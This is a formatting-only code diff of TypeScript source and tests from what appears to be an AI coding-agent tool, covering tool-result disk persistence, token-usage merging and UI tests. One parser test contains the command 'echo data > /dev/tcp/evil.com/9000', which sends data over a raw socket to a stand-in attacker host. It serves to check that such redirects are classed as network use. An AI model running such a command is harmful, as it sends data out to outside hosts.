expect(state.messages[2].parts?.[0].functionResponse?.id).toBe(
|
||||
'call_123',
|
||||
);
|
||||
expect(state.messages[2].parts?.[0].functionResponse?.id).toBe('call_123');
|
||||
|
||||
await abortSpeculation(state);
|
||||
});
|
||||
|
|
|
|||
|
|
@ -478,7 +478,10 @@ describe('extractShellOperations', () => {
|
|||
});
|
||||
|
||||
it('redirect > /dev/tcp: network socket, not a file write', () => {
|
||||
const ops = extractShellOperations('echo data > /dev/tcp/evil.com/9000', CWD);
|
||||
const ops = extractShellOperations(
|
||||
'echo data > /dev/tcp/evil.com/9000',
|
||||
CWD,
|
||||
);
|
||||
expect(ops).not.toContainEqual(
|
||||
expect.objectContaining({ filePath: '/dev/tcp/evil.com/9000' }),
|
||||
);
|
||||
|
|
|
|||
|
|
@ -60,9 +60,7 @@ export async function cleanupOldToolResults(
|
|||
);
|
||||
}
|
||||
if (result.errors > 0) {
|
||||
debugLogger.warn(
|
||||
`${result.errors} errors during tool result cleanup`,
|
||||
);
|
||||
debugLogger.warn(`${result.errors} errors during tool result cleanup`);
|
||||
}
|
||||
|
||||
return result;
|
||||
|
|
|
|||
|
|
@ -391,11 +391,7 @@ export async function persistAndTruncateToolResult(
|
|||
`Session tool result budget exhausted (${budgetUsed} + ${byteSize} > ${MAX_SESSION_BYTES}), skipping disk persistence`,
|
||||
);
|
||||
return {
|
||||
content: buildStub(
|
||||
content,
|
||||
byteSize,
|
||||
'(session disk budget exhausted)',
|
||||
),
|
||||
content: buildStub(content, byteSize, '(session disk budget exhausted)'),
|
||||
bytesWritten: 0,
|
||||
};
|
||||
}
|
||||
|
|
@ -405,7 +401,9 @@ export async function persistAndTruncateToolResult(
|
|||
// eslint-disable-next-line no-control-regex
|
||||
const safeCallId = path.basename(callId).replace(/\x00/g, '_');
|
||||
if (!safeCallId || safeCallId === '.' || safeCallId === '..') {
|
||||
debugLogger.warn(`Invalid callId for disk persistence: ${JSON.stringify(callId)}`);
|
||||
debugLogger.warn(
|
||||
`Invalid callId for disk persistence: ${JSON.stringify(callId)}`,
|
||||
);
|
||||
config.trackToolResultBytes(-byteSize);
|
||||
return {
|
||||
content: buildStub(content, byteSize, '(invalid callId)'),
|
||||
|
|
@ -432,10 +430,7 @@ export async function persistAndTruncateToolResult(
|
|||
} catch (error) {
|
||||
// Rollback budget reservation on write failure
|
||||
config.trackToolResultBytes(-byteSize);
|
||||
debugLogger.warn(
|
||||
`Failed to persist tool result to ${outputFile}:`,
|
||||
error,
|
||||
);
|
||||
debugLogger.warn(`Failed to persist tool result to ${outputFile}:`, error);
|
||||
try {
|
||||
const fallback = await truncateAndSaveToFile(
|
||||
content,
|
||||
|
|
|
|||
|
|
@ -222,7 +222,10 @@ describe('daemon UI normalizer and transcript reducer', () => {
|
|||
createDaemonTranscriptState({ now: 1 }),
|
||||
[
|
||||
{ type: 'assistant.text.delta', text: 'answer' },
|
||||
{ type: 'assistant.usage', usage: { inputTokens: 100, outputTokens: 20 } },
|
||||
{
|
||||
type: 'assistant.usage',
|
||||
usage: { inputTokens: 100, outputTokens: 20 },
|
||||
},
|
||||
{ type: 'assistant.usage', usage: { inputTokens: 5, outputTokens: 3 } },
|
||||
],
|
||||
{ now: 2 },
|
||||
|
|
@ -243,7 +246,10 @@ describe('daemon UI normalizer and transcript reducer', () => {
|
|||
[
|
||||
{ type: 'assistant.text.delta', text: 'answer' },
|
||||
// The parent's own round.
|
||||
{ type: 'assistant.usage', usage: { inputTokens: 100, outputTokens: 20 } },
|
||||
{
|
||||
type: 'assistant.usage',
|
||||
usage: { inputTokens: 100, outputTokens: 20 },
|
||||
},
|
||||
// A round from a spawned sub-agent — part of the turn's real cost.
|
||||
{
|
||||
type: 'assistant.usage',
|
||||
|
|
|
|||
|
|
@ -20,16 +20,16 @@ const {
|
|||
mockAddMessage,
|
||||
mockEndStreaming,
|
||||
} = vi.hoisted(() => ({
|
||||
mockPostMessage: vi.fn(),
|
||||
mockOpenCompletion: vi.fn().mockResolvedValue(undefined),
|
||||
mockCloseCompletion: vi.fn(),
|
||||
mockMessageState: {
|
||||
isStreaming: false,
|
||||
isWaitingForResponse: false,
|
||||
},
|
||||
mockAddMessage: vi.fn(),
|
||||
mockEndStreaming: vi.fn(),
|
||||
}));
|
||||
mockPostMessage: vi.fn(),
|
||||
mockOpenCompletion: vi.fn().mockResolvedValue(undefined),
|
||||
mockCloseCompletion: vi.fn(),
|
||||
mockMessageState: {
|
||||
isStreaming: false,
|
||||
isWaitingForResponse: false,
|
||||
},
|
||||
mockAddMessage: vi.fn(),
|
||||
mockEndStreaming: vi.fn(),
|
||||
}));
|
||||
|
||||
const slashSkillsItem: CompletionItem = {
|
||||
id: 'skills',
|
||||
|
|
@ -592,9 +592,7 @@ describe('App /skills secondary picker', () => {
|
|||
|
||||
expect(blurSpy).toHaveBeenCalled();
|
||||
expect(input.getAttribute('data-empty')).toBe('false');
|
||||
expect(getRenderedInputText(rendered.container)).toBe(
|
||||
'draft after escape',
|
||||
);
|
||||
expect(getRenderedInputText(rendered.container)).toBe('draft after escape');
|
||||
expect(mockPostMessage).not.toHaveBeenCalledWith({
|
||||
type: 'cancelStreaming',
|
||||
data: {},
|
||||
|
|
|
|||
|
|
@ -75,9 +75,15 @@ function parseDaemonTodoItemsFromEntries(
|
|||
* side has usage, so the message field stays absent rather than a spurious 0/0.
|
||||
*/
|
||||
function mergeAssistantUsage(
|
||||
a: { inputTokens: number; outputTokens: number; cachedTokens?: number } | undefined,
|
||||
b: { inputTokens: number; outputTokens: number; cachedTokens?: number } | undefined,
|
||||
): { inputTokens: number; outputTokens: number; cachedTokens?: number } | undefined {
|
||||
a:
|
||||
| { inputTokens: number; outputTokens: number; cachedTokens?: number }
|
||||
| undefined,
|
||||
b:
|
||||
| { inputTokens: number; outputTokens: number; cachedTokens?: number }
|
||||
| undefined,
|
||||
):
|
||||
| { inputTokens: number; outputTokens: number; cachedTokens?: number }
|
||||
| undefined {
|
||||
if (!a) return b;
|
||||
if (!b) return a;
|
||||
const cachedTokens = (a.cachedTokens ?? 0) + (b.cachedTokens ?? 0);
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue